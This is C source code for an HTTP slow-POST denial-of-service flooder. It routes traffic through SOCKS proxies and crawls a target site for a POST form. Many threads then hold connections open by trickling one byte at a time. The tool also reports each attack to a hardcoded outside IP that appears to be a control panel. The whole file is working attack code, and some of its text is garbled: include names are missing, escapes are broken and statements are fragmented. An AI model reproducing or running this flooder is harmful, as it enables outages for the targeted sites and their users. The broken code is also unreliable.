#include #include #include #include #include #include #include #include #include #include #include #include #include char *useragents[] = { "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6", "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02", "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)", "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4", "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1", "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1", }; #define ATTACKPORT 80 char *postformat = "POST /%s HTTP/1.1/r/nHost: %s/r/nUser-Agent: #useragent#/r/nConnection: close/r/nAccept-Encoding: gzip, deflate/r/nContent-Type: application/x-www-form-urlencoded/r/nContent-Length: #contentlen#/r/n/r/n%s="; char *postpayload; struct urlparts { char * name; char separator[4]; char value[128]; } parts[] = { { "scheme", ":" }, { "userid", "@" }, { "password", ":" }, { "host", "//" }, { "port", ":" }, { "path", "/" }, { "param", ";" }, { "query", "?" }, { "fragment", "#" } }; enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ; #define NUMPARTS (sizeof parts / sizeof (struct urlparts)) struct urlparts *returnparts[8]; struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; }; struct proxy { char *type; char *ip; int port; int working; }; struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; }; struct list *head = NULL; char parseError[128]; int parseURL(char *url, struct urlparts **returnpart); char * strsplit(char * s, char * tok); char firstpunc(char *s); int strleft(char * s, int n); void setupparts(); void freeparts(); char *stristr(const char *String, const char *Pattern); char *str_replace(char *orig, char *rep, char *with); char *geturl(char *url, char *useragent, char *ip); char *ipstr; void *flood(void *par) { struct list *startpoint = (struct list *)par; int i; struct sockaddr_in serverAddr; signal(SIGPIPE, SIG_IGN); while(1) { int sent = 0; if(startpoint->data->working == 0) { startpoint = startpoint->next; sleep(1); continue; } memset(&serverAddr, 0, sizeof(serverAddr)); serverAddr.sin_family = AF_INET; serverAddr.sin_port = htons(startpoint->data->port); serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip); int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); u_int yes=1; if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) 0) { startpoint->data->working = 0; startpoint = startpoint->next; continue; } if(strcmp(startpoint->data->type, "Socks4")==0) { unsigned char buf[10]; buf[0] = 0x04; buf[1] = 0x01; *(unsigned short*)&buf[2] = htons(ATTACKPORT); *(unsigned long*)&buf[4] = inet_addr(ipstr); buf[8] = 0x00; if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9) { startpoint->data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } } if(strcmp(startpoint->data->type, "Socks5")==0) { unsigned char buf[20]; buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; buf[3] = 0x01; *(unsigned long*)&buf[4] = inet_addr(ipstr); *(unsigned short*)&buf[8] = htons(ATTACKPORT); if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) data->working = 0; startpoint = startpoint->next; close(serverSocket); continue; } } char *length = (char *)malloc(255); sprintf(length, "%d", ((rand() % 10000) + 20000)); char *httppartpayload = str_replace(postpayload, "#useragent#", startpoint->useragent); char *httppayload = str_replace(httppartpayload, "#contentlen#", length); free(httppartpayload); if(httppayload == NULL) { startpoint = startpoint->next; close(serverSocket); continue; } sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL); //printf("sent main payload %d/n", sent); free(httppayload); //char *postshit = "Z"; //while(send(serverSocket, postshit, 1, MSG_NOSIGNAL) > 0) // { // sleep(1); //printf("."); // } int success; do { char postshit = rand() % 97 + 26; success = send(serverSocket, &postshit, 1, MSG_NOSIGNAL); sleep(rand() % 3 + 1); //printf("."); } while (success > 0); close(serverSocket); usleep(30000); //startpoint = startpoint->next; } } int fnAttackInformation(int attackID) { char szRecvBuff[1024]; char packet[1024]; char ip[] = "37.221.170.5"; snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1/r/nHost: %s/r/nConnection: close/r/nCache-Control: no-cache/r/nOrigin: http://google.com/r/nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5/r/nContent-Type: application/x-www-form-urlencoded/r/nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/r/nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6/r/nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3/r/n/r/n", attackID, getpid(), ip); struct sockaddr_in *remote; int sock; int tmpres; if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) sin_family = AF_INET; tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr))); if (tmpres sin_addr.s_addr"); exit(1); } else if (tmpres == 0) { fprintf(stderr, "%s is not a valid IP address/n", ip); exit(1); } remote->sin_port = htons(80); if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) /n%s/n/n/n", tmpres, packet); if (tmpres == -1){ perror("Can't send query"); exit(1); } int i = 1; int dwTotal = 0; while (1) { i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0); //printf("Received %d bytes/n", i); if (i /n%s/n/n", szRecvBuff); close(sock); //printf("Sent %d bytes/n", tmpres); return 0; } int main(int argc, char *argv[ ]) { if(argc < 5){ fprintf(stderr, "Invalid parameters!/n"); fprintf(stdout, "Usage: %s [manual ip (0 to disable)] [manual parameter]/n", argv[0]); exit(-1); } //fprintf(stdout, "Setting up Sockets.../n"); int num_threads = atoi(argv[3]); int scrapeit = atoi(argv[2]); FILE *pFile = fopen(argv[4], "rb"); if(pFile==NULL) { perror("fopen"); exit(1); } fseek(pFile, 0, SEEK_END); long lSize = ftell(pFile); rewind(pFile); char *buffer = (char *)malloc(lSize*sizeof(char)); fread(buffer, 1, lSize, pFile); fclose (pFile); int i=0; char *pch = (char *)strtok(buffer, ":"); while(pch != NULL) { if(head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(head, sizeof(struct list)); head->data = (struct proxy *)malloc(sizeof(struct proxy)); bzero(head->data, sizeof(struct proxy)); head->data->working = 1; head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch); pch = (char *)strtok(NULL, ":"); if(pch == NULL) exit(-1); head->data->port = atoi(pch); pch = (char *)strtok(NULL, ":"); head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch); pch = (char *)strtok(NULL, ":"); head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))]; head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); bzero(new_node, sizeof(struct list)); new_node->data = (struct proxy *)malloc(sizeof(struct proxy)); bzero(new_node->data, sizeof(struct proxy)); new_node->data->working = 1; new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch); pch = (char *)strtok(NULL, ":"); if(pch == NULL) break; new_node->data->port = atoi(pch); pch = (char *)strtok(NULL, ":"); new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch); pch = (char *)strtok(NULL, ":"); new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))]; new_node->prev = head; new_node->next = head->next; head->next = new_node; } } free(buffer); const rlim_t kOpenFD = 1024 + (num_threads * 2); struct rlimit rl; int result; rl.rlim_cur = kOpenFD; rl.rlim_max = kOpenFD; result = setrlimit(RLIMIT_NOFILE, &rl); if (result != 0) { perror("setrlimit"); fprintf(stderr, "setrlimit returned result = %d/n", result); } char *parameter; if(argc > 7) { parameter = argv[7]; } else { parameter = "username"; } setupparts(); parseURL(argv[1], returnparts); if(argc > 6 && !(strcmp(argv[6], "0") == 0)) { ipstr = malloc(strlen(argv[6])+1); strcpy(ipstr, argv[6]); //fprintf(stdout, "Using manual IP.../n"); } else { struct hostent *he; struct in_addr a; he = gethostbyname(returnparts[host]->value); if (he) { while (*he->h_addr_list) { bcopy(*he->h_addr_list++, (char *) &a, sizeof(a)); ipstr = malloc(INET_ADDRSTRLEN+1); inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN); break; } } else { herror("gethostbyname"); } } char *targeturl = argv[1]; char *targetparameter = parameter; if(scrapeit == 1) { char *original_domain = malloc(strlen(returnparts[host]->value)+1); strcpy(original_domain, returnparts[host]->value); freeparts(); struct urllist *headurl = malloc(sizeof(struct urllist)); bzero(headurl, sizeof(struct urllist)); headurl->url = argv[1]; headurl->done = 0; headurl->next = headurl; headurl->prev = headurl; int donescrape = 0; char *lasturl = ""; while(headurl->done == 0) { if(headurl->url == NULL) { headurl->done = 1; headurl = headurl->next; continue; } if(strcmp(headurl->url, lasturl) == 0) { headurl->done = 1; headurl = headurl->next; continue; } lasturl = headurl->url; printf("Scraping: %s/n", headurl->url); char *buffer = geturl(headurl->url, useragents[rand() % (sizeof(useragents)/sizeof(char *))], ipstr); if(strstr(buffer, "/r/n/r/n")==NULL) { free(buffer); headurl->done = 1; headurl = headurl->next; continue; } char *headerstatus = malloc(strstr(buffer, "/r/n/r/n") - buffer + 3); memcpy(headerstatus, buffer, strstr(buffer, "/r/n/r/n") - buffer + 2); char *body = buffer + (strstr(buffer, "/r/n/r/n") - buffer + 2) + 2; int status = atoi(strchr(strncpy(malloc(1024),headerstatus,strstr(headerstatus, "/r/n") - headerstatus), ' ') + 1); char *headers = strstr(headerstatus, "/r/n")+2; int temp = ((status/10)/10) % 10; if(temp == 4) { free(headerstatus); free(buffer); headurl->done = 1; headurl = headurl->next; continue; } if(temp == 3) { char *location = stristr(headers, "Location: ") + 10; if(location == NULL) { free(headerstatus); free(buffer); headurl->done = 1; headurl = headurl->next; continue; } struct urllist *newurl = malloc(sizeof(struct urllist)); bzero(newurl, sizeof(struct urllist)); char *nexturl = malloc(strstr(location, "/r/n") - location + 1); bzero(nexturl, strstr(location, "/r/n") - location + 1); strncpy(nexturl, location, strstr(location, "/r/n") - location); char *parsednexturl; setupparts(); parseURL(nexturl, returnparts); if(!(*(returnparts[path]->value))) { free(headerstatus); free(buffer); headurl->done = 1; headurl = headurl->next; continue; } if(*(returnparts[host]->value)) { char *host_tmp = str_replace(returnparts[host]->value, "www.", ""); if(host_tmp != NULL) { if(strcmp(host_tmp, original_domain) != 0) { free(headerstatus); free(buffer); headurl->done = 1; headurl = headurl->next; continue; } else { original_domain = malloc(strlen(returnparts[host]->value)+1); bzero(original_domain, strlen(returnparts[host]->value)+1); strcpy(original_domain, returnparts[host]->value); } } else { if(strcmp(returnparts[host]->value, original_domain) != 0) { free(headerstatus); free(buffer); headurl->done = 1; headurl = headurl->next; continue; } } parsednexturl = malloc(strlen(nexturl)+1); bzero(parsednexturl, strlen(nexturl)+1); strcpy(parsednexturl, nexturl); } else { parsednexturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1); bzero(parsednexturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1); strcpy(parsednexturl, "http://"); strcpy(parsednexturl + 7, original_domain); strcpy(parsednexturl + 7 + strlen(original_domain), "/"); strcpy(parsednexturl + 7 + strlen(original_domain) + 1, returnparts[path]->value); char *tmp = malloc(strlen(original_domain)+2); bzero(tmp, strlen(original_domain)+2); sprintf(tmp, "%s/", original_domain); char *tmp2 = malloc(strlen(original_domain)+3); bzero(tmp2, strlen(original_domain)+3); sprintf(tmp2, "%s//", original_domain); char *parsednexturl_tmp = str_replace(parsednexturl, tmp2, tmp); if(parsednexturl_tmp != NULL) { free(parsednexturl); parsednexturl = parsednexturl_tmp; } free(tmp); free(tmp2); } freeparts(); free(nexturl); newurl->url = parsednexturl; newurl->done = 0; newurl->next = headurl->next; newurl->prev = headurl; headurl->next = newurl; headurl->done = 1; headurl = headurl->next; free(headerstatus); free(buffer); continue; } char *formstart = body; while(stristr(formstart, "<form")!=NULL) { formstart = stristr(formstart, "<form")+5; char *formend = stristr(formstart, " stristr(formstart, ">")) { continue; } char *methodstart = method+7; char *methodname = NULL; if(strchr(methodstart, '"')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '"')) { methodstart = strchr(method, '"')+1; methodname = malloc(strchr(methodstart, '"') - methodstart + 1); bzero(methodname, strchr(methodstart, '"') - methodstart + 1); strncpy(methodname, methodstart, strchr(methodstart, '"') - methodstart); } else if(strchr(methodstart, '/'')!=NULL && strchr(methodstart, '>') > strchr(methodstart, '/'')) { methodstart = strchr(method, '/'')+1; methodname = malloc(strchr(methodstart, '/'') - methodstart + 1); bzero(methodname, strchr(methodstart, '/'') - methodstart + 1); strncpy(methodname, methodstart, strchr(methodstart, '/'') - methodstart); } else { char *end = NULL; if(strchr(methodstart, ' ') > strchr(methodstart, '>')) { end = strchr(methodstart, '>'); } else { end = strchr(methodstart, ' '); } methodname = malloc(end - methodstart + 1); bzero(methodname, end - methodstart + 1); strncpy(methodname, methodstart, end - methodstart); } int i; for(i=0;*(methodname + i);i++) { *(methodname + i) = toupper(*(methodname + i)); } if(strcmp(methodname, "GET") == 0) { continue; } char *action = stristr(formstart, "action="); char *actionname = NULL; if(action == NULL || action > formend) { actionname = headurl->url; } else { char *actionstart = action; if(strchr(actionstart, '"') != NULL && strchr(actionstart, '>') > strchr(actionstart, '"')) { actionstart = strchr(action, '"')+1; actionname = malloc(strchr(actionstart, '"') - actionstart + 1); bzero(actionname, strchr(actionstart, '"') - actionstart + 1); strncpy(actionname, actionstart, strchr(actionstart, '"') - actionstart); } else if(strchr(actionstart, '/'') != NULL && strchr(actionstart, '>') > strchr(actionstart, '/'')) { actionstart = strchr(action, '/'')+1; actionname = malloc(strchr(actionstart, '/'') - actionstart + 1); bzero(actionname, strchr(actionstart, '/'') - actionstart + 1); strncpy(actionname, actionstart, strchr(actionstart, '/'') - actionstart); } else { char *end = NULL; if(strchr(actionstart, ' ') > strchr(actionstart, '>')) { end = strchr(actionstart, '>'); } else { end = strchr(actionstart, ' '); } actionname = malloc(end - action + 1); bzero(actionname, end - action + 1); strncpy(actionname, action, end - action); } } if(strcmp(actionname, "") == 0) { free(actionname); actionname = headurl->url; } while((input = stristr(input, "') > strchr(inputname, '"')) { namestart = strchr(inputname, '"')+1; name = malloc(strchr(namestart, '"') - namestart + 1); bzero(name, strchr(namestart, '"') - namestart + 1); strncpy(name, namestart, strchr(namestart, '"') - namestart); } else if(strchr(inputname, '/'')!=NULL && strchr(inputname, '>') > strchr(inputname, '/'')) { namestart = strchr(inputname, '/'')+1; name = malloc(strchr(namestart, '/'') - namestart + 1); bzero(name, strchr(namestart, '/'') - namestart + 1); strncpy(name, namestart, strchr(namestart, '/'') - namestart); } else { char *end = NULL; if(strchr(inputname, ' ') > strchr(inputname, '>')) { end = strchr(inputname, '>'); } else { end = strchr(inputname, ' '); } name = malloc(end - inputname + 1); bzero(name, end - inputname + 1); strncpy(name, namestart, end - inputname); } targetparameter = name; setupparts(); parseURL(actionname, returnparts); if(!(*(returnparts[path]->value))) { goto NOTRIGHT; } if(*(returnparts[host]->value)) { if(strcmp(returnparts[host]->value, original_domain) != 0) { goto NOTRIGHT; } targeturl = actionname; } else { targeturl = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1); bzero(targeturl, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1); strcpy(targeturl, "http://"); strcpy(targeturl + 7, original_domain); strcpy(targeturl + 7 + strlen(original_domain), "/"); strcpy(targeturl + 7 + strlen(original_domain) + 1, returnparts[path]->value); char *tmp = malloc(strlen(original_domain)+2); bzero(tmp, strlen(original_domain)+2); sprintf(tmp, "%s/", original_domain); char *tmp2 = malloc(strlen(original_domain)+3); bzero(tmp2, strlen(original_domain)+3); sprintf(tmp2, "%s//", original_domain); char *targeturl_tmp = str_replace(targeturl, tmp2, tmp); if(targeturl_tmp != NULL) { free(targeturl); targeturl = targeturl_tmp; } free(tmp); free(tmp2); } freeparts(); free(headerstatus); free(buffer); printf("TARGET AQUIRED: %s, %s/n", targeturl, targetparameter); goto END; } } NOTRIGHT: continue; } char *link = body; while((link = stristr(link, " stristr(link, ">")) { continue; } href = href + 5; char *hrefstart = href; char *hreftarget; if(strchr(hrefstart, '"')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '"')) { hrefstart = strchr(hrefstart, '"')+1; hreftarget = malloc(strchr(hrefstart, '"') - hrefstart + 1); bzero(hreftarget, strchr(hrefstart, '"') - hrefstart + 1); strncpy(hreftarget, hrefstart, strchr(hrefstart, '"') - hrefstart); } else if(strchr(hrefstart, '/'')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '/'')) { hrefstart = strchr(hrefstart, '/'')+1; hreftarget = malloc(strchr(hrefstart, '/'') - hrefstart + 1); bzero(hreftarget, strchr(hrefstart, '/'') - hrefstart + 1); strncpy(hreftarget, hrefstart, strchr(hrefstart, '/'') - hrefstart); } else { char *end = NULL; if(strchr(hrefstart, ' ') > strchr(hrefstart, '>')) { end = strchr(hrefstart, '>'); } else { end = strchr(hrefstart, ' '); } hreftarget = malloc(end - hrefstart + 1); bzero(hreftarget, end - hrefstart + 1); strncpy(hreftarget, hrefstart, end - hrefstart); } if(strcmp(hreftarget, "#") == 0 || stristr(hreftarget, "javascript:") != NULL) { free(hreftarget); continue; } char *scrapenext; setupparts(); parseURL(hreftarget, returnparts); if(!(*(returnparts[path]->value))) { freeparts(); continue; } if(*(returnparts[host]->value)) { if(strcmp(returnparts[host]->value, original_domain) != 0) { freeparts(); continue; } scrapenext = hreftarget; } else { scrapenext = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1); bzero(scrapenext, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1); strcpy(scrapenext, "http://"); strcpy(scrapenext + 7, original_domain); strcpy(scrapenext + 7 + strlen(original_domain), "/"); strcpy(scrapenext + 7 + strlen(original_domain) + 1, returnparts[path]->value); char *tmp = malloc(strlen(original_domain)+2); bzero(tmp, strlen(original_domain)+2); sprintf(tmp, "%s/", original_domain); char *tmp2 = malloc(strlen(original_domain)+3); bzero(tmp2, strlen(original_domain)+3); sprintf(tmp2, "%s//", original_domain); char *scrapenext_tmp = str_replace(scrapenext, tmp2, tmp); if(scrapenext_tmp != NULL) { free(scrapenext); scrapenext = scrapenext_tmp; } free(tmp); free(tmp2); } freeparts(); int alreadyadded = 0; if(headurl->next == headurl) { if(strcmp(headurl->url, scrapenext) == 0) { alreadyadded = 1; } } else { struct urllist *dup = headurl->next; while(dup != headurl) { if(dup->url == NULL) { dup->prev->next = dup->next; dup->next->prev = dup->prev; dup = dup->next; continue; } if(strcmp(dup->url, scrapenext) == 0) { alreadyadded = 1; break; } dup = dup->next; } } if(alreadyadded == 0) { struct urllist *newurl = malloc(sizeof(struct urllist)); bzero(newurl, sizeof(struct urllist)); newurl->url = scrapenext; newurl->done = 0; newurl->next = headurl->next; newurl->prev = headurl; headurl->next = newurl; } } headurl->done = 1; headurl = headurl->next; free(headerstatus); free(buffer); } END: free(original_domain); } else { freeparts(); } setupparts(); parseURL(targeturl, returnparts); pthread_t thread[num_threads]; struct list *td[num_threads]; struct list *node = head->next; for(i=0;inext; } postpayload = malloc(4096); sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value, targetparameter); freeparts(); //fprintf(stdout, "Starting Flood.../n"); fnAttackInformation(atoi(argv[argc-1])); for(i = 0;i 0) { printf("GETURL CONNECT FAILED, RETRYING/n"); close(serverSocket); freeparts(); goto RETRY; } int bytes = 0; char *payload = malloc(8094); bzero(payload, 8094); sprintf(payload, "GET /%s HTTP/1.0/r/nHost: %s/r/nConnection: close/r/nUser-Agent: %s/r/n/r/n", returnparts[path]->value, returnparts[host]->value, useragent); freeparts(); bytes = send(serverSocket, payload, strlen(payload), MSG_NOSIGNAL); if(bytes == -1) { printf("GETURL SEND FAILED, SITE CLOSED CONNECTION, RETRYING/n"); close(serverSocket); goto RETRY; } int total = 0; int currentsize = 4096; char *buffer = malloc(4096); bzero(buffer, 4096); bytes = recv(serverSocket, buffer, 4096, 0); while(bytes > 0) { total += bytes; if(total+4096 > currentsize) { char *new_buffer = malloc(total+4096); bzero(new_buffer, total+4096); memcpy(new_buffer, buffer, total); free(buffer); buffer = new_buffer; currentsize = total+4096; } bytes = recv(serverSocket, buffer+total, 4096, 0); } return buffer; } void freeparts() { return; if(returnparts[0]!=NULL) { free(returnparts[0]); } if(returnparts[1]!=NULL) { free(returnparts[1]); } if(returnparts[2]!=NULL) { free(returnparts[2]); } if(returnparts[3]!=NULL) { free(returnparts[3]); } if(returnparts[4]!=NULL) { free(returnparts[4]); } if(returnparts[5]!=NULL) { free(returnparts[5]); } if(returnparts[6]!=NULL) { free(returnparts[6]); } if(returnparts[7]!=NULL) { free(returnparts[7]); } if(returnparts[8]!=NULL) { free(returnparts[8]); } return; } void setupparts() { returnparts[0] = malloc(sizeof(struct urlparts)); returnparts[1] = malloc(sizeof(struct urlparts)); returnparts[2] = malloc(sizeof(struct urlparts)); returnparts[3] = malloc(sizeof(struct urlparts)); returnparts[4] = malloc(sizeof(struct urlparts)); returnparts[5] = malloc(sizeof(struct urlparts)); returnparts[6] = malloc(sizeof(struct urlparts)); returnparts[7] = malloc(sizeof(struct urlparts)); returnparts[8] = malloc(sizeof(struct urlparts)); bzero(returnparts[0], sizeof(struct urlparts)); bzero(returnparts[1], sizeof(struct urlparts)); bzero(returnparts[2], sizeof(struct urlparts)); bzero(returnparts[3], sizeof(struct urlparts)); bzero(returnparts[4], sizeof(struct urlparts)); bzero(returnparts[5], sizeof(struct urlparts)); bzero(returnparts[6], sizeof(struct urlparts)); bzero(returnparts[7], sizeof(struct urlparts)); bzero(returnparts[8], sizeof(struct urlparts)); returnparts[0]->name = "scheme"; strcpy(returnparts[0]->separator, ":"); returnparts[1]->name = "userid"; strcpy(returnparts[1]->separator, "@"); returnparts[2]->name = "password"; strcpy(returnparts[2]->separator, ":"); returnparts[3]->name = "host"; strcpy(returnparts[3]->separator, "//"); returnparts[4]->name = "port"; strcpy(returnparts[4]->separator, ":"); returnparts[5]->name = "path"; strcpy(returnparts[5]->separator, "/"); returnparts[6]->name = "param"; strcpy(returnparts[6]->separator, ";"); returnparts[7]->name = "query"; strcpy(returnparts[7]->separator, "?"); returnparts[8]->name = "fragment"; strcpy(returnparts[8]->separator, "#"); return; } int parseURL(char *url, struct urlparts **returnpart) { register i; int seplen; char * remainder; char * regall = ":/;?#"; char * regpath = ":;?#"; char * regx; if(!*url) { strcpy(parseError, "nothing to do!/n"); return 0; } if((remainder = malloc(strlen(url) + 1)) == NULL) { printf("cannot allocate memory/n"); exit(-1); } strcpy(remainder, url); if(firstpunc(remainder) == ':') { strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator)); strleft(remainder, 1); } if (!strcmp(returnpart[scheme]->value, "mailto")) *(returnpart[host]->separator) = 0; for(i = 0; i value, strsplit(remainder, ":@")); strleft(remainder, 1); if(strchr(remainder, '@')) { strcpy(returnpart[password]->value, strsplit(remainder, "@")); strleft(remainder, 1); } *(returnpart[host]->separator) = 0; } if(i == path && (! *(returnpart[scheme]->value))) { *(returnpart[path]->separator) = 0; strcpy(returnpart[scheme]->value, "http"); } regx = (i == path) ? regpath : regall ; seplen = strlen(returnpart[i]->separator); if(strncmp(remainder, returnpart[i]->separator, seplen)) continue; else strleft(remainder, seplen); strcpy(returnpart[i]->value, strsplit(remainder, regx)); } if(*remainder) sprintf(parseError, "I don't understand '%s'", remainder); free(remainder); return 0; } char *str_replace(char *orig, char *rep, char *with) { char *result; char *ins; char *tmp; int len_rep; int len_with; int len_front; int count; if (!orig) return NULL; if (!rep || !(len_rep = strlen(rep))) return NULL; if (!(ins = 